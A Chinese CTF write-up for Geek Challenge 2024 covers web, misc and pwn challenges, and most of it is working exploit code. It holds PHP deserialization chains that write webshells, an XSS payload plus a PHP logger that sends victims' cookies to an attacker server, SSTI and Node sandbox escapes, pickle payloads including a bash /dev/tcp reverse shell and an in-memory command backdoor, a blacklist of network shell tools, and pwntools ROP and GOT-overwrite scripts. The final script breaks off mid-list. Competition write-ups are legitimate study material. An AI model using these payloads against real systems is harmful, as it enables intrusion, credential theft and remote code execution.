极客大挑战2024wp

极客大挑战2024wp

web 和misc 都没咋做出来,全靠pwn✌带飞
排名
在这里插入图片描述

密码学和re没做出几个,就不发了

web

ez_pop

源代码

<?php
Class SYC{public $starven;public function __call($name, $arguments){if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){die('no hack');}file_put_contents($this->starven,"<?php exit();".$this->starven);}
}Class lover{public $J1rry;public $meimeng;public function __destruct(){if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){echo "success";$this->meimeng->source;}}public function __invoke(){echo $this->meimeng;}}Class Geek{public $GSBP;public function __get($name){$Challenge = $this->GSBP;return $Challenge();}public function __toString(){$this->GSBP->Getflag();return "Just do it";}}if($_GET['data']){if(preg_match("/meimeng/i",$_GET['data'])){die("no hack");}unserialize($_GET['data']);
}else{highlight_file(__FILE__);
}

pop 链子

lover::__destruct ->Geek::__get ->lover::__invoke ->Geek::toString ->SYC::__call

为了使链子正常运行,需要 把$lover->J1rry="data://text/plain,Welcome GeekChallenge 2024";

用伪协议控制file_get_contents的内容,对于meimong的初步过滤,用16进制绕过即可

然后是死亡exit的绕过,由于黑名单过滤的很全,这里就尝试strip_tags写入htaccess,预包含,flag文件名也给了 就是flag相关文章:https://xz.aliyun.com/t/8163

exp

<?php
Class SYC{public $starven;}Class lover{public $J1rry;public $meimeng;public function __construct(){$this->J1rry="data://text/plain,Welcome GeekChallenge 2024";}
}Class Geek{public $GSBP;
}$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$exp=str_replace('s:7:"meimeng"','S:7:"\6d\65\69\6d\65\6e\67"',serialize($a));
echo urlencode($exp);
echo "\n";

发送一次写入,再刷新一次包含就可以看见flag

在这里插入图片描述

problem_on_my_web

访问/manager,提示要我传一个post参数url,然后give gift on cookie,感觉就是要打xss偷cookie

发送消息的地方填

<script>
img = new Image();
img.src='http:/ip/cookie.php?cookie='+document.cookie;
img.width = 0;
img.height = 0;
</script>

vps上放一个cookie.php

<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>

发送了上面的xss信息后,在manager路由传http://127.0.0.1即可,过一会即可在cookie.txt里看到flag

ez_http

根据要求一个个添加参数和http头即可


import requestsurl="http://80-ede138cf-40a4-4102-a7eb-cc54a3144be8.challenge.ctfplus.cn/?welcome=geekchallenge2024"
cookies={ 'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAwMTI2MzEsIm5iZiI6MTczMDAxMjYzMSwiZXhwIjoxNzMwMDE5ODMxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.rndv-ew4zbtQJZXgR_Quqa-xR-E6p1WXindKnLKbO4k'}
header={'X-Real-IP':'127.0.0.1','Referer':'https://www.sycsec.com','STARVEN':'I_Want_Flag',}
data={'username':'Starven','password':'qwert123456'}res=requests.post(url=url,data=data,headers=header,cookies=cookies)
print(res.text)

在这里插入图片描述

Can you pass me

ssti 绕过,{%%}绕{{, attr绕[],关键词的过滤全用八进制编码,然后发现不能直接查看flag,用base64 /flag带出来

{%print(lipsum|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('\142\141\163\145\066\064\040\057\146\154\141\147')|attr('\162\145\141\144')())%}

ez_ssrf

www.zip泄露源码

h4d33333.php

<?php
error_reporting(0);
if(!isset($_POST['user'])){$user="stranger";
}else{$user=$_POST['user'];
}if (isset($_GET['location'])) {$location=$_GET['location'];$client=new SoapClient(null,array("location"=>$location,"uri"=>"hahaha","login"=>"guest","password"=>"gueeeeest!!!!","user_agent"=>$user."'s Chrome"));$client->calculator();echo file_get_contents("result");
}else{echo "Please give me a location";
}

calculator.php

<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";function check($auth) {global $admin,$adminpass;$auth = str_replace('Basic ', '', $auth);$auth = base64_decode($auth);list($username, $password) = explode(':', $auth);echo $username."<br>".$password;if($username===$admin && $password===$adminpass) {return 1;}else{return 2;}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){if (check($auth)===2) {if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {die("Invalid expression");}else{$result=eval("return $expression;");file_put_contents("result",$result);}}else{$result=eval("return $expression;");file_put_contents("result",$result);}
}else{exit("Hacker");
}

calculator.php 需要本地访问,h4d33333.php的SOAPcilient 对象可以触发__call 去访问,文件头信息可控造成CRLF注入,http头部的信息和请求参数都可以控制,控制一下认证信息满足要求,即可绕过白名单执行eval

crlf exp


from urllib.parse import quote
payload="expression=system('cat /flag');&a="
print(quote(f"""test\r\nAUTHORIZATION:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N01\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\n{payload}"""))

然后发送了但是返回的东西看不了,还是直接访问/result得到的flag

not_just_pop

源码

<?php
highlight_file(__FILE__);
ini_get('open_basedir');class lhRaMK7{public $Do;public $You;public $love;public $web;public function __invoke(){echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";eval($this->web);}public function __wakeup(){$this->web=$this->love;}public function __destruct(){die($this->You->execurise=$this->Do);}}class Parar{private $execurise;public $lead;public $hansome;public function __set($name,$value){echo $this->lead;}public function __get($args){if(is_readable("/flag")){echo file_get_contents("/flag");}else{echo "还想直接读flag,洗洗睡吧,rce去"."<br>";if ($this->execurise=="man!") {echo "居然没坠机"."<br>";if(isset($this->hansome->lover)){phpinfo();}}else{echo($this->execurise);echo "你也想被肘吗"."<br>";}}}
}class Starven{public $girl;public $friend;public function __toString(){return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;}public function __call($args1,$args2){$func=$this->friend;$func();}}
class SYC{private $lover;public  $forever;public function __isset($args){return $this->forever->nononon();}}$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {unserialize(base64_decode($Syclover));throw new Exception("None");
}else{echo("怎么不给我呢,是不喜欢吗?");
}

稍微复杂了一点的pop

lhRaMK7::__destruct -> Parar::__set -> Starven::__toString -> Parar::__get ->SYC::__isset ->Starven::__call ->lhRaMK7::__invoke

从代码中就可以看出来,flag无法直接读取,感觉要提权,为了顺利反序列化,还要删掉最后的}触发fast-desruct绕过异常,题目php版本还是7.2,直接全部属性改为public

到eval的时候,发现system用不了,phpinfo发现有disable_function,写个马,然后蚁剑插件绕过,exp

<?php
// highlight_file(__FILE__);
// ini_get('open_basedir');class lhRaMK7{public $Do;public $You;public $love;public $web;public function __construct(){$this->You=new Parar();}}class Parar{public $execurise;public $lead;public $hansome;public function __construct(){$this->lead=new Starven();}
}class Starven{public $girl;public $friend;
}
class SYC{public $lover;public  $forever;}$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl= new Parar();
$a->You->lead->girl->execurise='man!';
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
// $a->You->lead->girl->hansome->forever->friend->love='phpinfo();';
$a->You->lead->girl->hansome->forever->friend->love='$a="PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";file_put_contents("shell.php",base64_decode($a));';
$exp=substr(serialize($a),0,-1);
echo base64_encode($exp);

提权,用sudo -l 有env,直接env提权即可

在这里插入图片描述

nosanbox

一开始要登陆,提示manggodb,上网就找到了一个nosql注入的payload ,类似mysql的万能密码

{"username":{"$ne":1},"password": {"$ne":1}}

nodejs vm沙箱逃逸,比较简单,网上就有很多文章,不能用引号,于是全用模板字符串,还能绕黑名单

本来的payload是利用报错带出命令结果,这里不回显报错信息,于是 写个 sh,然后反弹shell,exp

一次编码会有+,所以这里编码两次

throw new Proxy({}, {get: function(){const c = arguments.callee.caller;const p = (c.constructor.constructor(`${`return pro${`cess`}`}`))();const obj = p.mainModule.require(`${`child_p${`ro`}cess`}`);const ex = Object.getOwnPropertyDescriptor(obj,`${`${`exe`}cSync`}` );return ex.value(`${`echo WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpOQzR5TVRVdU1qVXdMekV5TXpRZ01ENG1NU2M9 |base64 -d |base64 -d > 1.sh`}`).toString();}
})

然后sh 1.sh即可

在这里插入图片描述

baby_upload

发现上传的文件名可控,一开始尝试s.php/啥的,会报错,后面尝试双写就绕过了 s.php.php

源代码用strstr函数获取后缀,难怪可以

ez_include

require_once绕过 文章:https://www.anquanke.com/post/id/213235

payload

?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

然后来到levelllll2.php

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){$file = $_GET ["syc"];$hint = "register_argc_argv = On";if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {die("hint都给的这么明显了还不会做?");}if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){include $file;}
}

提示很明显了,打pearcmd包含,file变量不会用黑名单里的东西,无伤大雅,payload

?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php

然后查看flag即可,根目录没有,在/proc/self/environ

php不比java差

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";class Challenge{public $file;public function Sink(){echo "<br>!!!A GREAT STEP!!!<br>";echo "Is there any file?<br>";if(file_exists($this->file)){global $FLAG;echo $FLAG;}}
}class Geek{public $a;public $b;public function __unserialize(array $data): void{$change=$_GET["change"];$FUNC=$change($data);$FUNC();}
}class Syclover{public $Where;public $IS;public $Starven;public $Girlfriend;public function __toString(){echo "__toString is called<br>";$eee=new $this->Where($this->IS);$fff=$this->Starven;$eee->$fff($this->Girlfriend);}
}unserialize($_POST['data']);

考了好多pop链,这么喜欢pop吗

起点是__unserialize$data里的键值对用来还原对象的属性,$change可控,使用implode,一个值设为

Syclover即可触发toString,然后就卡了一会,再回去看题目发现提到了java,java反序列化常用反射,经过搜索发现这里可以反射调用system,直接看flag看不了,那就写马,发现要用file,suid提权,exp

<?phperror_reporting(0);class Challenge{public $file;
}class Geek{public $a;public $b;}class Syclover{public $Where;public $IS;public $Starven;public $Girlfriend;}
$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='system';
$a->a->Starven="invokeArgs";
$a->a->Girlfriend=array("echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php");
echo urlencode(serialize($a));

在这里插入图片描述

ez_python

注册登录后,随便输入了点评论,就提示访问/starven_s3cret,访问获得源码分析

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import blackapp = Flask(__name__)#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():return render_template_string(open('templates/index.html').read())@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':usname = request.form['username']passwd = request.form['password']if usname and passwd:heart_cookie = secrets.token_hex(32)response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")response.set_cookie('heart', heart_cookie)return responsereturn  render_template('register.html')@app.route('/login', methods=['GET', 'POST'])
def login():heart_cookie = request.cookies.get('heart')if not heart_cookie:return render_template('warning.html')if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:statement = request.form['statement']try:heal_state = base64.b64decode(statement)print(heal_state)for i in black.blacklist:if i in heal_state:return render_template('waf.html')pickle.loads(heal_state)res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")os.system("echo " + flag + " > /flag")return resexcept Exception as e:print( e)passreturn "Error!!!! give you hint: maybe you can view /starven_s3cret"return render_template('login.html')@app.route('/monologue',methods=['GET','POST'])
def joker():return render_template('joker.html')@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():return send_file(__file__,as_attachment=True)if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=False)

可以看到在login路由有个反序列化,有个waf不知道,尝试反弹shell 就触发了waf,说要换个思路,那就内存马,用最常用的还不行,笔记里往下翻了几个才找到能用的

payload:

import pickle
import base64
opcode=b'''cbuiltins
exec
(S"app.backup_func=app.view_functions['index'];app.view_functions['index']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()"
tR.'''print(base64.b64encode(opcode).decode())

然后就在根路由传cmd参数命令即可,看了看waf

blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc',b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter',b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']

rce_me

考察php的一些性质,按要求传参即可

  1. 直接post start=start now

  2. md5("Geekchallenge2024_bmKtL")就是经典0e,找一个数字sha1后0e的

  3. 有个

    foreach ($_GET as $key => $value) {$$key = $value;}
    

    明显的变量覆盖,后面的在get传对应参数名

    intval漏洞:php<7.2.25时,intval函数不能正常解析字符串形式的科学表达式,会返回底数,传year=1e4,intval($year)解析字符串'1e4'返回1,过第一个条件,后面的是$num+1,数字和字符串相加,php会把字符串转为数字再相加,所以这是就会被解析为10000,从而过第二个条件

  4. purpose传数组就行,preg_match无法处理数组。最后就可以rce了

payload

?year=1e4&purpose[]=rce&code=system('cat /flag');post: start=start now&_[2024.geekchallenge.ctf=10932435112

jwt_pickle

感觉考点都在web,并没涉及啥密码学知识

漏洞点在jwt的签名和检验的算法不一致,encode是RS256,decode确是RS256和HS256都可以

RS256是非对称加密,HS256是对称加密,我们可以通过工具rsa2sign.py,得到公钥,再写脚本把payload用HS256加密一次,密钥就用得到的公钥(检验时允许HS256)

introduction 有反序列化漏洞,直接反弹shell

在这里插入图片描述

脚本

import jwt
import base64
# 修改了源码方可成功 site-packages/jwt/algorithms.py 
# 注释掉抛出异常的部分
public ="""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAs2aM9wXti4Lm3cBNsJ6edBuKsRaXxW+JHIxDcuVRbAFWt7XLqBMg
NIWLeZ5O6rVkqz1SaD2aEHvyaxZMSN7vXHlgn5keVtTJRbDMl+dzP32F461rGa1K
DSvfac512Rl1Dl+quq5RmZotsjDWV4xEGolgBVJoFv+/M8X/WO+zl9MMF7ZV22Fd
PsFjq4bX7koU3yadPDBRVNcAjuYEy4OybCOlhnt4zeg/NdK6Rxs763iBA5/+ZusR
UAL9KmQ1wV7NDPtUjb3yBwv/3bHR+j6drlW5cc/f6vJxv/xsA5WpgkLDhUCkH8A0
x9dvqeAXvlIFaJXp3Bk01jrqwWwe+oJlpQIDAQAB
-----END RSA PUBLIC KEY-----
"""
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
opcode=base64.b64encode(opcode).decode()
payload={"username": "hello",'password':'e10adc3949ba59abbe56e057f20f883e',"is_admin": True,'introduction':opcode}
print(jwt.encode(payload, key=public, algorithm='HS256'))

SecretInDrivingSchool

源码发现后台地址,访问后有提示密码是三位字母+@chenxing,写了个字典就开始爆,爆了半天发现就是SYC

进入后台有个编辑广告的地方,里面是php代码,改为rce的就出了,用编码绕过waf

"\x73\x79\x73\x74\x65\x6d"("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67");
system('cat /flag');

100%的⚪

看js代码就有了,base64解码

Misc

签到

关注公众号,发送得flag

Truth of Word

附件是一个word文档,

全选 然后字体变红就能看到第一段flag,

复制一份后缀改为zip解压,发现有个bin文件,是宏,返回docx查看宏得到第二段flag

查看解压出来的压缩包中的media文件夹,在一张图片中发现第三段flag

SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}

Welcome_jail

懒得思考了,直接走继承链,用chr绕过引号的过滤

[i for i in [].__class__.__mro__[-1].__subclasses__() if i.__name__ == (chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101))][0].__init__.__globals__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

cimbar

上网搜了一下i,cimbar是用摄像头来传文件的一种技术,然后找到了各个字符对应的4位二进制的对应关系图,https://aigcdaily.cn/news/b24u20oz8s9djnd/

一个个对着翻译即可,然后二进制转ascii就行

舔狗的觉醒

附件解压是个txt,里面一串16进制,开头05 b4 30,一看就是两两逆序,写个脚本

with open('byte-revenge.txt','r') as file:f=file.read().replace(' ','').replace("\n","")reversed_pairs = ''.join([f[i:i+2][::-1] for i in range(0, len(f), 2)])bin_data=bytes.fromhex(reversed_pairs)with open('a.zip','wb') as f:f.write(bin_data)

解压得到的压缩包,有个flag.pdf,提示

在这里插入图片描述

感觉是图片的嵌套,上网找了网站https://pdfcandy.com/来提取pdf所有图片,就有了flag

dosomemath

给了源码,那个算式本地跑一下是9872,但是不能用数字,看那个白名单就知道要用一些魔术方法来表示数字,

打开vscode,输入().__对着自动补全出的魔术方法一个个看,就可以看到__ge__,尝试了一下,就发现

().__ge__(())+().__ge__(())=2

就可以通过().__ge__(())来构造任意数字,9872分解为((16)*(((20)*(30))+(17)))=,一个个+肯定会太长的

payload

payload="().__ge__(())"def get_payload(num):tmp=[payload]*numres='+'.join(tmp)return res
#(16)*(((20)*(30))+(17))
target=f'({get_payload(16)})*((({get_payload(20)})*({get_payload(30)}))+({get_payload(17)}))'
print(target)
print(eval(target))

ez_jpg

给了个txt,一串很长的16进制,翻到最后是8DFF,明显是jpg的文件头逆序,找ai写个脚本逆序下就行

得到一个有点乱的图片,然后修改宽高就能看到一点flag,用ps修一下更好看,但是发现也可以直接看

在这里插入图片描述

ez_pcap_1

直接在smb2流量中,找找就行,在最后的那个读取文件的流量就有,太菜了2做不出来

解压附件得到图片和white.txt,图片名字提到watermarkh,就是盲水印,用工具提取到Th1si4st8eK3y

根据题目名另一个snow隐写,密钥就是Th1si4st8eK3y

SYC{Ma1by_y0u_w1ll_l1k3_sn0w}

hard_jail

show看了看源码,这个waf,预期解感觉是要走内置函数的装饰器,但是不咋会,看到是white true 输入的,直接尝试输入black=[]之后,waf就没了,就可以直接命令执行了

乌龟

一听就感觉是无线电,sstv解出来的图片上有密码,deepsound用这个密码就解出了奇怪的东西,问gpt说是logo语言的绘图指令,找个网站把图画出来就有了flag

在这里插入图片描述

PWN

买黑吗喽了吗

View里很明显有一个写str1的操作,然后就在思考怎么办让Balance大于0x100,但是实际上并不难,新手随便买买都能触发(看不看得出来另说),触发后就能够泄漏程序基地址,而后就可以正常ROP

from pwn import *io = process("./syscall")\# io = remote("nc1.ctfplus.cn", 31851)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'elf = ELF("./syscall")libc = elf.libcfor i in range(8):io.recv()io.sendline(b'1')io.recv()io.sendline(b'1')for i in range(6):io.recv()io.sendline(b'1')io.recv()io.sendline(b'2')\# gdb.attach(io)io.recv()io.sendline(b'2')\# io.sendline(b'2')io.send(b'%p')\# io.sendline(b'2')io.recvuntil(b'There are 8 commodity_1 and 6 commodity_2 in your pocket.\nAnd your Balance : 0x')elfbase = int(io.recv(14), 16) - 0x4090log.info("elfbase: 0x%x" % elfbase)pop_rdi = elfbase + 0x00000000000011f1log.info("pop_rdi: 0x%x" % pop_rdi)ret = elfbase + 0x000000000000101alog.info("ret: 0x%x" % ret)io.sendline(b'3')io.recvuntil(b'Tell me your feedback:')payload = b'A'*0x58 + p64(pop_rdi) + p64(elfbase + elf.got['puts']) + p64(elfbase + elf.plt['puts']) + p64(elfbase + elf.sym['main'])io.sendline(payload)io.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info("puts_addr: 0x%x" % puts_addr)libcbase = puts_addr - libc.sym['puts']log.info("libcbase: 0x%x" % libcbase)system_addr = libcbase + libc.sym['system']log.info("system_addr: 0x%x" % system_addr)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))log.info("str_bin_sh: 0x%x" % str_bin_sh)io.sendline(b'3')io.recvuntil(b'Tell me your feedback:')payload = b'A'*0x58 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr)gdb.attach(io)io.sendline(payload)io.interactive()

00000

之前打另一个比赛刚遇见过打/dev/urandom里的所谓真随机,确实是不能爆破,Geek没有给爆破机会,算得上对新手友好,直接一直给\x00,就可以有机率过strcmp,然后直接看flag

from pwn import *\# io = process("./main")\# io = remote("nc1.ctfplus.cn", 27071)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'while True:\# io = process("./main")io = remote("nc1.ctfplus.cn", 41863)io.recv()io.recv()try:io.sendline(b'\x00')take = io.recv(timeout=1)if b'The password is wrong and you cannot access the secret files' not in take:io.interactive()else:io.close()continueexcept:io.interactive()

over_flow??

蛮有意思,如果对照一下save_to_file和read_from_file再加一点调试就会发现实际上rdi会变成我们给的参数,而read_from_file多溢出的一位会成为rax,而后会调用syscall,所以控参数和系统调用直接写在一个payload就行了(来自一个看到溢出发现就报错的敏感,差点觉得又是啥没学过的新东西要补[大哭])

from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})io = process("./over_data")\# io = remote('nc1.ctfplus.cn', 33092)elf = ELF("./over_data")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))io.recvuntil(b'please input your choice\n')io.sendline(b'2')io.recvuntil(b'please input file name')gdb.attach(io)io.send(b'/bin/sh\x00\x3b')io.interactive()

Black_Myth_Wukong

在这里插入图片描述

snprintf把格式化丢脸上了,直接泄漏

然后试过直接正常用system rop,但是很可惜调试会发现偏移不确定,懒得调试,直接让one_gadget填满了

from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 29311)elf = ELF("./main")libc = elf.libccontext.terminal = ['tmux','new-window']context.log_level = 'debug'io.recvuntil(b'Please enter any key to enter the game...')\# io.send(b'KKKKK')io.sendline()\# gdb.attach(io)io.recvuntil(b'>>')io.sendline(b'31')io.recvuntil(b'You defeated Guangzhi, and you obtained Guangzhi\'s weapon. Please accept it: ')libc_start_main = int(io.recv(12), 16) - 231log.info("libc_start_main: " + hex(libc_start_main))libcbase = libc_start_main - libc.symbols['__libc_start_main']log.info("libcbase: " + hex(libcbase))system = libcbase + libc.symbols['system']log.info("system: " + hex(system))str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))log.info("str_bin_sh: " + hex(str_bin_sh))pop_rdi = libcbase + 0x000000000002164flog.info("pop_rdi: " + hex(pop_rdi))ret = libcbase + 0x00000000000008aalog.info("ret: " + hex(ret))onegadget = libcbase + 0x4f29elog.info("onegadget: " + hex(onegadget))\# gdb.attach(io)\# payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'\# payload = b'A'*0xd8 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)payload = p64(onegadget)*2*16print(hex(len(payload)))io.recvuntil(b'>>')io.sendline(str(len(payload)).encode())\# payload = payload.ljust(256, b'A')io.sendline(payload)io.interactive()

我的空调呢?

第一反应还以为这个菜单是个堆题,甚至堆题的模板都写好了。。。

然后才发现连malloc和free都没有,想着这下完了,又要搓好久哪的指针残留,直接用完泄漏就想着肯定得看看程序具体指针了

结果代码太乱了,懒得逆向,直接一顿调试,发现分配的时候没有负数检查,再一看上面的got表,直接心领神会,直接写memset为system,在delete里memset一个/bin/sh的块就行了

from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})\# io = process("./pwn")io = remote('nc1.ctfplus.cn', 34033)elf = ELF("./pwn")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))def choose(choice):io.sendlineafter(b'<Your chioce>:', str(choice).encode())def alloc(beforecontent, aftercontent):\# def alloc(content):choose(1)\#  io.sendlineafter(b'', str(id).encode())\# io.sendlineafter(b'', str(size).encode())\#  io.sendlineafter(b'', str(len(content)).encode())io.sendafter(b'Your name:', beforecontent)io.sendafter(b'Introduce:', aftercontent)def delete(id):choose(3)io.sendlineafter(b'Index:', str(id).encode())def edit(id, content):choose(4)io.sendlineafter(b'Index:', str(id).encode())io.sendafter(b'message:', content)def show(id):choose(2)io.sendlineafter(b'Index:', str(id).encode())choose(5)io.recvuntil(b'Please input an address.(such as 0xffff)')\# gdb.attach(io)io.sendline(b'0x404018')io.recvuntil(b'massege:')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))lg('puts_addr', puts_addr)libcbase = puts_addr - libc.symbols['puts']lg('libcbase', libcbase)system = libcbase + libc.symbols['system']lg('system', system)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))lg('str_bin_sh', str_bin_sh)set_buf = libcbase + libc.symbols['setbuf']lg('set_buf', set_buf)printf = libcbase + libc.symbols['printf']lg('printf', printf)memset = libcbase + libc.symbols['memset']lg('memset', memset)read =  libcbase + libc.symbols['read']lg('read', read)\# for i in range(0x10):\#   alloc(str(i).encode(), str(i).encode())alloc(b'/bin/sh\x00', b'0')alloc(b'1', b'1')\# gdb.attach(io, 'b *0x4017e8')edit(-4, p64(set_buf) + p64(printf) + p64(system))delete(0)io.interactive()\# dbg()

FindG???t

有了over_flow???的经验,加上之前就听过可以在libc_start_main附近找0x0f05当syscall的手法,就直接加了个爆破,甚至懒得问ai,写了个0x00~0xff遍历[捂脸]

from pwn import *\# io = process("./pwn")elf = ELF("./pwn")libc = elf.libccontext.terminal = ["tmux", "new-window"]context.log_level = "debug"\# gdb.attach(io)bytes_for = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d', b'\x7e', b'\x7f', b'\x80', b'\x81', b'\x82', b'\x83', b'\x84', b'\x85', b'\x86', b'\x87', b'\x88', 